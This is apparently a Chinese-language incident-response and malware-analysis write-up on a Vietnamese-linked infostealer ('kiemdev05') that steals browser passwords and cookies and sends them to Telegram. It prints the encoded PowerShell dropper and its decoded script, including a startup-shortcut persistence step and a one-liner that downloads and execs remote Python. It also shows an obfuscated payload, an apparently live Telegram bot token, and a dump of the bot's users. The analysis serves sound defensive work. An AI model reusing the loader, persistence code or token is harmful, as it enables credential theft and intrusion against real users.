# 病毒 kiemdev05 ## EDR Log 在看 edr log 時看到有抓到一隻程式 `synaptics.exe` 查看行為會發現它建立許多 chrome 的子程式,並且連線到許多 IP 並且偷取各種瀏覽器密碼 `C:\Users\admin\AppData\Local\Temp\[TW_某IP] 電腦名稱.zip` 1. 執行 python payload sup02.entrypoint 2. DNS resolved gitlab.com 3. 連線 4. 取得 chrome 資訊 5. 檔案建立 login_db, 電腦名稱, 電腦名稱\All_Passwords.txt 6. 檔案刪除 login_db, cards_db 7. taskkill chrome.exe 8. 執行 python 建立 chrome remote-debug 9. 修改 chrome registry key 10. edge .... 11. DNS resloved adsmanager.facebook.com, graph.facebook.com, mbasic.facebook.com, www.facebook.com 12. 連線 13. 檔案建立 Facebook_Cookies.txt 14. DNS resloved ip-api.com 15. 檔案建立 Temp\[TW_某IP] 電腦名稱.zip 16. 修改檔案 Temp\[TW_某IP] 電腦名稱.zip 17. DNS resloved api.telegram.org 18. 連線 19. 將所有產生的檔案刪除,如 txt/zip 這些操作都在執行後的兩分鐘內完成 ``` 由 sup02.entrypoint 執行建立的檔案,依照看到的建立時間往下排 C:\Users\admin\AppData\Local\Temp\login_db C:\Users\admin\AppData\Local\Temp\電腦名稱\All_Passwords.txt C:\Users\admin\AppData\Local\Temp\電腦名稱 C:\Users\admin\AppData\Local\Temp\電腦名稱\Cookies Browser C:\Users\admin\AppData\Local\Temp\電腦名稱\Cookies Browser\Chrome_Profile 1.txt C:\Users\admin\AppData\Local\Temp\電腦名稱\Cookies Browser\Chrome_Default.txt C:\Users\admin\AppData\Local\Temp\cards_db C:\Users\admin\AppData\Local\Temp\電腦名稱\Cookies Browser\Edge_Default.txt C:\Users\admin\AppData\Local\Temp\PC-C002292\Facebook_Cookies.txt C:\Users\admin\AppData\Local\Temp\[TW_某IP] 電腦名稱.zip ``` ``` 在 edr log 上看到從電腦連線出去的相關事件 IP 直接連線 172.65.251.78:443 gitlab.com 127.0.01:9222 31.13.87.1:443 31.13.87.36:443 208.95.112.1:80 ip-api.com 149.154.167.220:443 api.telegram.org 建立chrome 連線 127.0.0.1:9222 去瀏覽網站 142.250.198.78:80 142.250.204.35:443 142.250.196.196:443 74.125.204.84:443 142.250.204.42:443 142.250.204.46:443 142.250.77.10:443 142.250.198.78:443 142.250.66.68:443 142.250.198.74:443 142.250.157.188:5228 142.250.196.206:443 142.250.196.195:443 建立 edge 連線 127.0.0.1:9222 去瀏覽網站 13.107.42.16:443 204.79.197.203:443 13.107.21.239:443 203.69.81.97:443 203.69.81.152:443 20.255.46.225:443 204.79.197.237:443 203.69.81.155:443 204.79.197.203:443 61.220.62.226:443 203.74.95.35:443 210.71.227.123:443 3.169.137.63:443 52.231.230.148:443 104.116.18.28:443 20.42.73.26:443 20.24.121.134:443 104.116.16.155:443 40.104.20.2:443 ``` 往前找會找到 explorer.exe 執行 `"C:\Users\Public\ChromeApplication\synaptics.exe" -c "import requests;exec(requests.get('https://gitlab.com/blackhat_code/software/-/raw/main/sup02.entrypoint', verify=False).text)"` 這段指令 並且可以看到它是由 lnk 檔案執行,`C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecurity.lnk` 路徑在 startup 底下,會在開機時執行 ## 連線電腦查看 實際連接到電腦上查看,`C:\Users\Public\ChromeApplication\synaptics.exe` 底下有 1. DLLs 資料夾 2. Lib 資料夾 3. definitions.py 4. python310.dll 5. synaptics.exe 6. vcruntime140.dll Lib 底下為 python library WindowsSecurity.lnk 的指令為 `"C:\Users\Public\ChromeApplication\synaptics.exe" -c "import requests;exec(requests.get('https://gitlab.com/blackhat_code/software/-/raw/main/sup02.entrypoint', verify=False).text)"` 而檢查 synaptics.exe 得知為 [pythonw.exe](https://www.virustotal.com/gui/file/ff507b25af4b3e43be7e351ec12b483fe46bdbc5656baae6ad0490c20b56e730),版本為 3.10.11 並有執行 [OMENScan/AChoirX: ReWrite of AChoir in Go for Cross Platform](https://github.com/OMENScan/AChoirX) 來獲取鑑識資料 ## 其他資訊調查 查看 https://gitlab.com/blackhat_code/software/-/raw/main/sup02.entrypoint 可以看到主程式經過混淆 ```python exec(__import__('marshal').loads(__import__('zlib').decompress(__import__('base64').b85decode("c%1Cm*|PH5ognzVzu}zY<71~YU3R9OlSzhTNU|hA48c4|3_=1lf}#u11PBcXNq`VTbcC~_>!u^R-XQZb-=d$OE-N~|H*h~fU$yo=$LTD0boUFaO~CpgmZUXn{kQz`M}Oah?^gJB|L6by`V#y&_`ttdpI=|zUW*s&^+zw^_t(qI|Mq_dr|_+AUz8X1MS1=0>tDY7*H>U*U|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|?WiU|`_?r>Pg=m4C6md3||%sUMUNzkPjuS-kLXc|N|``uuxc!n2f5#z*1fd-_TE^qzheKEJ15317XZUkhKqr{4(Qyr(}Be)OJxD}4K&{#f|&d-|R5-Fx~I;V19uPlcbpr+*^+$$R=U;b&p`+4xiQ&xAjFeY^Kp#%J^A!q4CRwecU!UkJZ2e<}R({rfk@pPPRn{KdO}Wc<qfweahAe{1}u`B%bUnSU+(wfQ%~-@G6DvGKR&Z-n2x`#U3I{+;l5@BWDqHDf}|j0<ryAtcPd7yjN%3d#51erlx5w2(G4LdN_D;UB_df1+lUpQ+i+C*@C-Kl`Uo!apiMSN_94y$JtN`GxY!Fol#qSN<YQVdYoKufsH_{H5|&VVYMz|MSn4zy6n3p`iSY^0(m;M9nL|Q47EQAQV+ZExxt2@`-*)MSl1C^78V#@ckluw6>?;eF#OSUcdaQ?5LuruH=Jdsj{aXtnlEEq+&r)<%6Q8K79G)?nL;@k8Md;Ho4W#6y-3-.................. ``` 觀察 gitlab project 頁面,可以看到還有一隻 zk.entrypoint ![image](https://hackmd.io/_uploads/SyQlkYLwyg.png) 並且此使用者只建立此 project ![image](https://hackmd.io/_uploads/rJdrJYIwye.png) 使用 `kiemdev05` 搜尋,可以找到 1. [X 上的 StrikeReady Labs:「One of our favorite hunts is flagging on language-specific content. Although non-english attacks are not rare, when you combine with prevalence, it can be be a good thread. This susp VN actor is targeting in Romanian. Zip drops a pass protected rar, pass is "kiemdev05" https://t.co/aCaNNnHj9s」 / X](https://x.com/StrikeReadyLabs/status/1868745455569351087) 這篇貼文寫說此 ID 的使用者可能來自越南 3. [Find method to Decompile .NET Core Single File - Exetools](https://forum.exetools.com/showthread.php?p=131221) 這篇貼文的發文者使用相同 ID,在越南 使用 ["blackhat_code/software" - Google 搜尋](https://www.google.com/search?q=%22blackhat_code%2Fsoftware%22),可以找到 [Automated Malware Analysis - Joe Sandbox Cloud Basic](https://www.joesandbox.com/analysis/1583800) 在 IoC 頁面中可以找到 `WindowsSecurity.lnk`,是由 powershell 建立,大概可以確定此病毒是同一隻 ![image](https://hackmd.io/_uploads/SkFJ7Y8wJl.png) 查看是如何開始的,可以看到由 [Lakatos, K#U00f6ves and Partners.bat](https://www.virustotal.com/gui/file/a97df6a45e872b0305a87405b0fe1fb2f59fa3c9054ac90202dbc0bc600f2830) 開始執行 `C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Lakatos, K#U00f6ves and Partners.bat" "` ![image](https://hackmd.io/_uploads/SytXNF8P1g.png) Lakatos, K#U00f6ves and Partners.bat 的內容如下 ``` powershell -ep by"pa"ss -w hi"dd"en -enc ZgB1AG4AYwB0AGkAbwBuACAASABpAGQAZQAtAEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApACAAewANAAoAI"AAgACAAIAAkAFMAaABvAHcAVwBpAG"4AZABvAHcAQQBzAHkAbgBjAEMAbwBkAGUAIAA9ACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAFMAaABvAHcAVwBpAG4AZABvAHcAQQBzAHkAbgBjACgASQBuAHQAUAB0AHIAIABoAFcAbgBkACwAIABpAG4AdAAgAG4AQwBtAGQAUwBoAG8AdwApADsAJwANAAoAIAAgACAAIAAkAFMAaABvAHcAVwBpAG4AZABvAHcAQQBzAHkAbgBjACAAPQAgAEEAZABkAC0AVAB5AHAAZQAgAC0ATQBlAG0AYgBlAHIARABlAGYAaQBuAGkAdABpAG8AbgAgACQAUwBoAG8AdwBXAGkAbgBkAG8AdwBBAHMAeQBuAGMAQwBvAGQAZQAgAC0AbgBhAG0AZQAgAFcAaQBuADMAMgBTAGgAbwB3AFcAaQBuAGQAbwB3AEEAcwB5AG4AYwAgAC0AbgBhAG0AZQBzAHAAYQBjAGUAIABXAGkAbgAzADIARgB1AG4AYwB0AGkAbwBuAHMAIAAtAFAAYQBzAHMAVABoAHIAdQANAAoAIAAgAA0ACgAgACAAIAAgACQAaAB3AG4AZAAgAD0AIAAoAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0AUABJAEQAIAAkAHAAaQBkACkALgBNAGEAaQBuAFcAaQBuAGQAbwB3AEgAYQBuAGQAbABlAA0ACgAgACAAIA"AgAGkAZgAgACgAJABoAHcA"bgBkACAALQBuAGUAIABbAFMAeQBzAHQAZQBtAC4ASQBuAHQAUAB0AHIAXQA6ADoAWgBlAHIAbwApACAAewANAAoAIAAgACAAIAAgACAAJABTAGgAbwB3AFcAaQBuAGQAbwB3AEEAcwB5AG4AYwA6ADoAUwBoAG8AdwBXAGkAbgBkAG8AdwBBAHMAeQBuAGMAKAAkAGgAdwBuAGQALAAgADAAKQANAAoAIAAgACAAIAB9ACAAZQBsAHMAZQAgAHsADQAKACAAIAANAAoAIAAgACAAIAAgACAAJABVAG4AaQBxAHUAZQBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAA9ACAATgBlAHcALQBHAHUAaQBkAA0ACgAgACAAIAAgACAAIAAkAEgAbwBzAHQALgBVAEkALgBSAGEAdwBVAEkALgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAA9ACAAJABVAG4AaQBxAHUAZQBXAGkAbgBkAG8AdwBUAGkAdABsAGUADQAKACAAIAAgACAAIAAgACQAUwB0AHIAaQBuAGcAQgB1AGkAbABkAGUAcgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AUwB0AHIAaQBuAGcAQgB1AGkAbABkAGUAcgAgADEAMAAyADQADQAKACAAIAAgACAAIAAgACQAVABlAHIAbQBpAG4AYQBsAFAAcgBvAGMAZQBzAHMAIAA9ACAAKABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACQAVQBuAGkAcQB1AGUAVwBpAG4AZABvAHcAVABpAHQAbABlACAAfQApAA0ACgAgACAAIAAgACAADQAKACAAIAAgACAAIAAgACQAaAB3AG4AZAAg"AD0AIAAkAFQAZQByAG0A"aQBuAGEAbABQAHIAbwBjAGUAcwBzAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBIAGEAbgBkAGwAZQANAAoAIAAgACAAIAAgACAAaQBmACAAKAAkAGgAdwBuAGQAIAAtAG4AZQAgAFsAUwB5AHMAdABlAG0ALgBJAG4AdABQAHQAcgBdADoAOgBaAGUAcgBvACkAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJABTAGgAbwB3AFcAaQBuAGQAbwB3AEEAcwB5AG4AYwA6ADoAUwBoAG8AdwBXAGkAbgBkAG8AdwBBAHMAeQBuAGMAKAAkAGgAdwBuAGQALAAgADAAKQANAAoAIAAgACAAIAAgACAAfQAgAGUAbABzAGUAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIARgBhAGkAbABlAGQAIAB0AG8AIABoAGkAZABlACAAdABoAGUAIABjAG8AbgBzAG8AbABlACAAdwBpAG4AZABvAHcALgAiAA0ACgAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0ADQAKACAAIAB9AA0ACgBIAGkAZABlAC0AQwBvAG4AcwBvAGwAZQBXAGkAbgBkAG8AdwANAAoAJABkAHMAdAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwAQwBoAHIAbwBtAGUAQQBwAHAAbABpAGMAYQB0AGkAbwBuACcAOwAgAEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEYAaQBsAGUAUwB5AHMAdABlAG0AOwAgAGkAZgAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAGQAcwB0ACkAIAB7ACAAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBSAGUAYwB1AHIAcwBlACAALQBGAG8AcgBjAGUAIAAiACQAZABzAHQAXAAqACIAIAB9ACAAZQBsAHMAZQAgAHsAIABOAGUAdwAtAEkAdABlAG0AIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAIAAkAGQAcwB0ACAAfQANAAoARABvAGMAdQBtAGUAbgB0AF8AUwBlAGMAdQByAGUAXAByAGEAcgAuAGUAeABlACAAeAAgAEQAbwBjAHUAbQBlAG4AdABfAFMAZQBjAHUAcgBlAFwAcwBlAGMAdQByAGUAZABvAGMALgByAGEAcgAgACIAQ"wA6AFwAVQBzAGUAcgBz"AFwAUAB1AGIAbABpAGMAXABDAGgAcgBvAG0AZQBBAHAAcABsAGkAYwBhAHQAaQBvAG4AXAAiACAALQBwACIAawBpAGUAbQBkAGUAdgAwADUAIgANAAoADQAKACQAcwAgAD0AIAAkAHAAYQB5AGwAbwBhAGQAIAA9ACAAIgBpAG0AcABvAHIAdAAgAHIAZQBxAHUAZQBzAHQAcwA7AGUAeABlAGMAKAByAGUAcQB1AGUAcwB0AHMALgBnAGUAdAAoACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGwAYQBiAC4AYwBvAG0ALwBiAGwAYQBjAGsAaABhAHQAXwBjAG8AZABlAC8AcwBvAGYAdAB3AGEAcgBlAC8ALQAvAHIAYQB3AC8AbQBhAGkAbgAvAHMAdQBwADAAMgAuAGUAbgB0AHIAeQBwAG8AaQBuAHQAJwAsACAAdgBlAHIAaQBmAHkAPQBGAGEAbABzAGUAKQAuAHQAZQB4AHQAKQAiADsAJABvAGIAagAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAOwAkAGwAaQBuAGsAIAA9ACAAJABvAGIAagAuAEMAcgBlAGEAdABlAFMAaABvAHIAdABjAHUAdAAoACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABTAHQAYQByAHQAIABNAGUAbgB1AFwAUAByAG8AZwByAGEAbQBzAFwAUwB0AGEAcgB0AHUAcABcAFcAaQBuAGQAbwB3AHMAUwBlAGMAdQByAGkAdAB5AC4AbABuAGsAIgApADsAJABsAGkAbgBrAC4AVwBpAG4AZABvAHcAUwB0AHkAbABlACAAPQAgADcAOwAkAGwAaQBuAGsALgBUAGEAcgBnAGUAdABQAGEAdABoACAAPQAgACIAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXABDAGgAcgBvAG0AZQBBAHAAcABsAGkAYwBhAHQAaQBvAG4AXABzAHkAbgBhAHAAdABpAGMAcwAuAGUAeABlACIAOwAkAGwAaQBuAGsALgBJAGMAbwBuAEwAbwBjAGEAdABpAG8AbgAgAD0AIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAIAAoAHgAOAA2ACkAXABNAGkAYwByAG8AcwBvAGYAdABcAEUAZABnAGUAXABBAHAAcABsAGkAYwBhAHQAaQBvAG4AXABtAHMAZQBkAGcAZQAuAGUAeABlACwAMQAzACIAOwAkAGwAaQBuAGsALgBBAHIAZwB1AG0AZQBuAHQAcwAgAD0AIAAiAC0AYwAgAGAAIgAkAHAAYQB5AGwAbwBhAGQAYAAiACIAOwAkAGwAaQBuAGsALgBTAGEAdgBlACgAKQANAAoAYwBtAGQAIAAvAEMAIABzAHQAYQByAHQAIAAiACIAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwAQwBoAHIAbwBtAGUAQQBwAHAAbABpAGMAYQB0AGkAbwBuAFwAcwB5AG4AYQBwAHQAaQBjAHMALgBlAHgAZQAiACAALQBjACAAYAAiACQAcABhAHkAbABvAGEAZABgACIA ``` 將其進行 base64 decode 後得到 ``` function Hide-ConsoleWindow() { $ShowWindowAsyncCode = '[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);' $ShowWindowAsync = Add-Type -MemberDefinition $ShowWindowAsyncCode -name Win32ShowWindowAsync -namespace Win32Functions -PassThru $hwnd = (Get-Process -PID $pid).MainWindowHandle if ($hwnd -ne [System.IntPtr]::Zero) { $ShowWindowAsync::ShowWindowAsync($hwnd, 0) } else { $UniqueWindowTitle = New-Guid $Host.UI.RawUI.WindowTitle = $UniqueWindowTitle $StringBuilder = New-Object System.Text.StringBuilder 1024 $TerminalProcess = (Get-Process | Where-Object { $_.MainWindowTitle -eq $UniqueWindowTitle }) $hwnd = $TerminalProcess.MainWindowHandle if ($hwnd -ne [System.IntPtr]::Zero) { $ShowWindowAsync::ShowWindowAsync($hwnd, 0) } else { Write-Host "Failed to hide the console window." } } } Hide-ConsoleWindow $dst = 'C:\Users\Public\ChromeApplication'; Add-Type -AssemblyName System.IO.Compression.FileSystem; if (Test-Path $dst) { Remove-Item -Recurse -Force "$dst\*" } else { New-Item -ItemType Directory -Force $dst } Document_Secure\rar.exe x Document_Secure\securedoc.rar "C:\Users\Public\ChromeApplication\" -p"kiemdev05" $s = $payload = "import requests;exec(requests.get('https://gitlab.com/blackhat_code/software/-/raw/main/sup02.entrypoint', verify=False).text)";$obj = New-Object -ComObject WScript.Shell;$link = $obj.CreateShortcut("$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecurity.lnk");$link.WindowStyle = 7;$link.TargetPath = "C:\Users\Public\ChromeApplication\synaptics.exe";$link.IconLocation = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,13";$link.Arguments = "-c `"$payload`"";$link.Save() cmd /C start "" "C:\Users\Public\ChromeApplication\synaptics.exe" -c `"$payload`" ``` 可以看到這段腳本,建立 C:\Users\Public\ChromeApplication 並將 Document_Secure\securedoc.rar 放入 ``` $dst = 'C:\Users\Public\ChromeApplication'; Add-Type -AssemblyName System.IO.Compression.FileSystem; if (Test-Path $dst) { Remove-Item -Recurse -Force "$dst\*" } else { New-Item -ItemType Directory -Force $dst } Document_Secure\rar.exe x Document_Secure\securedoc.rar "C:\Users\Public\ChromeApplication\" -p"kiemdev05" ``` 建立 WindowsSecurity.lnk,並將 payload 放入後執行。 查看防火牆 log,確實在建立之後有進行 tg bot 連線 ``` $s = $payload = "import requests;exec(requests.get('https://gitlab.com/blackhat_code/software/-/raw/main/sup02.entrypoint', verify=False).text)"; $obj = New-Object -ComObject WScript.Shell; $link = $obj.CreateShortcut("$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecurity.lnk"); $link.WindowStyle = 7; $link.TargetPath = "C:\Users\Public\ChromeApplication\synaptics.exe"; $link.IconLocation = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,13"; $link.Arguments = "-c `"$payload`""; $link.Save() cmd /C start "" "C:\Users\Public\ChromeApplication\synaptics.exe" -c `"$payload`" ``` ![image](https://hackmd.io/_uploads/Bym5HY8v1x.png) ![image](https://hackmd.io/_uploads/HJnhrFLwyl.png) ### 完整事件流程圖 ![未命名绘图](https://hackmd.io/_uploads/B1IrTR3v1e.png) ## 鑑識調查 從上面跟下面大概可以知道整個病毒的運作流程,我想找出幾個資訊 1. 寄送的 telegram 帳號 2. 是否有 loader(更早的病毒) 將這些檔案載入 3. powershell payload 是如何執行的 4. 攻擊者是誰 5. 能否回復 password.zip 6. 能否找到 Document_Secure\securedoc.rar 7. bat 是如何進入並執行的 從電腦查看可以看到 WindowsSecurity.lnk 的建立時間,時間為兩週前建立 且由於已經重啟過,所以無法查看更早的紀錄 [渗透技巧——Windows下NTFS文件的USN Journal](https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E4%B8%8BNTFS%E6%96%87%E4%BB%B6%E7%9A%84USN-Journal) 想要查看文件的修改紀錄,可以參考這篇文章,查看 USN Journal 看看能否解析 `$LogFile` 跟 `$MFT` 檔案 ### LogFile [jschicht/LogFileParser: Parser for \$LogFile on NTFS](https://github.com/jschicht/LogFileParser) 可以提取各項內容存成 csv 檔案查看 [Free Version](https://www.forensafe.com/free.html) 可以把 evtx 全部匯入一起查看,但是好像無法查看 \$LogFile 內容 ### MFT [kacos2000/MFT_Record_Viewer: \$MFT Record Viewer](https://github.com/kacos2000/MFT_Record_Viewer) [Master File Table and Computer Forensics](https://www.asdfed.com/Master-File-Table-and-Computer-Forensics) [Windows Master File Table (MFT) in Digital Forensics — MCSI Library](https://library.mosse-institute.com/articles/2022/05/windows-master-file-table-mft-in-digital-forensics/windows-master-file-table-mft-in-digital-forensics.html) ### LastActivity.csv 這份文件有紀錄相當完整的時間軸操作 可以看到開關機時間與休眠時間,確實是有在該時間點重開機 ### EVTX [Download LogViewPlus](https://www.logviewplus.com/download.html) 比較好用,可以把所有檔案合併起來查看 [NVISOsecurity/evtx-hunter: evtx-hunter helps to quickly spot interesting security-related activity in Windows Event Viewer (EVTX) files.](https://github.com/NVISOsecurity/evtx-hunter/tree/main) 可以用來查看統計資料 在 Windows PowerShell 中看到上面提到的 powershell payload 執行紀錄,同個時間為 WindowsSecurity.lnk 建立時間 ``` "Registry" 提供者為 Started。 詳細資料: ProviderName=Registry NewProviderState=Started SequenceNumber=1 HostName=ConsoleHost HostVersion=5.1.19041.5247 HostId=1f132efa-416b-4ce6-b7cf-b48accaa8911 HostApplication=powershell -ep bypass -w hidden -enc ZgB1AG4AYwB0.... EngineVersion= RunspaceId= PipelineId= CommandName= CommandType= ScriptName= CommandPath= CommandLine= ``` 到這邊就找不下去了,沒有 file operation log,並且有重開機導致資料不完整。 無法找到 .bat 檔案的建立與執行,以及 Document_Secure\securedoc.rar 跟 cmdline,最早只能追溯到 powershell payload 執行 可能還有更前面的執行檔會進行載入 ## 記憶體分析 因使用正常的 python 函式庫,並且會將產生檔案刪除,導致無法透過記憶體分析尋找相關資訊 ## sup02.entrypoint 分析 詳細內容請看 [kiemdev05 sup02.entrypoint 分析](/m9A7Dg2eRjSIGOOKz4RiLg) 可以看到裡面有 `statut='Không Rõ Trạng Thái'` 這是越南文,表示 狀態未知,可以更確定是越南人所寫 另外一隻 zk_entrypoint 雖然沒有出現,但也分析完了,詳情 [kiemdev05 zk.entrypoint](/LoyT_kubTaiiOxijd9Biug) ### telegram api 在 source code 可以看到會將偷取到的檔案使用 tg bot 傳送出去 ```python= TOKEN_BOT='7688244721:AAEuVdGvEt2uIYmzQjJmSJX1JKFud9pr1XI' CHAT_ID_NEW='-1002426006531' CHAT_ID_RESET='-1002489276039' with open(archive_path,'rb') as f: response=requests.post( f"https://api.telegram.org/bot{TOKEN_BOT}/sendDocument", params={'chat_id':CHAT_ID, 'caption':message_body, 'protect_content':True, 'disable_web_page_preview':True}, files={'document':f}, ) response.raise_for_status() ``` 查看是否有資訊可以從 api 中取得 這是查看此頻道訊息的 api https://api.telegram.org/bot{token}/getUpdates 嘗試從 tg bot api 收集資訊 1. [Telegram Bot API](https://core.telegram.org/bots/api#available-methods) 相關 method 2. [GitHub - soxoj/telegram-bot-dumper: 🔪 Dumper & ripper for Telegram bots by token](https://github.com/soxoj/telegram-bot-dumper?tab=readme-ov-file) 此工具可以直接將資訊提取並監聽 ``` ID: 7688244721 Name: data ve ne Username: @data_015_bot - https://t.me/data_015_bot Dumping history from 200 to 0... Empty messages x4 [5][830655559][2024-12-21 15:41:19+00:00] /start ==================== NEW USER DETECTED: 830655559 First name: None Last name: None User has no username Empty messages x6 [8][6893446818][2024-12-21 18:44:24+00:00] /start ==================== NEW USER DETECTED: 6893446818 First name: supremeo Last name: rodriguo Username: @rodriguotavone585353853 - https://t.me/rodriguotavone585353853 Empty messages x8 [11][7063152197][2024-12-24 01:44:39+00:00] /start ==================== NEW USER DETECTED: 7063152197 First name: C0NJURER Last name: None Username: @C0NJURERR - https://t.me/C0NJURERR Saving photo 4902486628019318169... Empty messages x8 [12][1079398712][2025-01-04 15:57:40+00:00] MessageActionChatAddUser(users=[7688244721]) Empty messages x8 [13][1079398712][2025-01-04 15:58:38+00:00] MessageActionChatMigrateTo(channel_id=2271537412) Empty messages x8 [14][1079398712][2025-01-04 15:59:17+00:00] MessageActionChatCreate(title='Data_Reset', users=[1079398712, 7688244721]) Empty messages x8 [15][1079398712][2025-01-04 15:59:17+00:00] MessageActionSetMessagesTTL(period=2678400) Empty messages x8 [16][1079398712][2025-01-04 16:00:07+00:00] MessageActionChatMigrateTo(channel_id=2399198378) Empty messages x191 Saving history of 830655559 as a text... Saving history of 6893446818 as a text... Saving history of 7063152197 as a text... Saving history of 4761447413 as a text... Saving history of 4615328488 as a text... History was fully dumped. Press Ctrl+C to stop listeting for new messages... ``` /getchatadministrators ``` { "ok": true, "result": [ { "user": { "id": 7688244721, "is_bot": true, "first_name": "data ve ne", "username": "data_015_bot" }, "status": "administrator", "can_be_edited": false, "can_manage_chat": true, "can_change_info": false, "can_delete_messages": false, "can_invite_users": false, "can_restrict_members": false, "can_pin_messages": false, "can_manage_topics": false, "can_promote_members": false, "can_manage_video_chats": false, "can_post_stories": false, "can_edit_stories": false, "can_delete_stories": false, "is_anonymous": false, "can_manage_voice_chats": false }, { "user": { "id": 1079398712, "is_bot": false, "first_name": ".", "username": "senju822222" }, "status": "creator", "is_anonymous": false } ] } ``` 可以參考這篇文章 [How We Were Able to Infiltrate Attacker Telegram Bots](https://checkmarx.com/blog/how-we-were-able-to-infiltrate-attacker-telegram-bots/) ## process tree ![image](https://hackmd.io/_uploads/BJWeLYIPJl.png) ![image](https://hackmd.io/_uploads/B1_WIY8Pkg.png) 除了在電腦上看到的痕跡,此 sandbox 還有紀錄其他的程式 1. csc.exe 2. cvtres.exe ### csc.exe [C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe](https://www.virustotal.com/gui/file/4a6d0864e19c0368a47217c129b075dddf61a6a262388f9d21045d82f3423ed7) [Csc | LOLBAS](https://lolbas-project.github.io/lolbas/Binaries/Csc/) 寫說此程式是 .NET Framework 用於編譯 C# 程式碼的二進位文件 `"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\aflg023p\aflg023p.cmdline"` aflg023p.cmdline 應該是一個 c# 程式碼文件 ### cvtres.exe [C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe](https://www.virustotal.com/gui/file/1fe531eac592b480aa4bd16052b909c3431434f17e7ae163d248355558ce43a6) 它將 `.res` 資源檔案轉換為通用物件檔案格式([COFF](https://en.wikipedia.org/wiki/COFF))`.obj` 物件文件,連結器可以將其連結到完成的`.exe` PE 應用程式檔案中。 用於將資源檔案 (.res) 轉換為可以使用連結器連結的編譯物件。 `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESE1DB.tmp" "c:\Users\user\AppData\Local\Temp\aflg023p\CSCBA3711F82A4D46E8AC7D47C2390FF68.TMP"` 這些工具是進行 `Living Off the Land Binaries And Scripts` 的常用工具,詳細攻擊手法可以參考這篇文章 [New Tool to Add to Your LOLBAS List: cvtres.exe - SANS Internet Storm Center](https://isc.sans.edu/diary/27892) ### aflg023p.cmdline ``` ./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\aflg023p\aflg023p.dll" /debug- /optimize+ /warnaserror /optimize+ 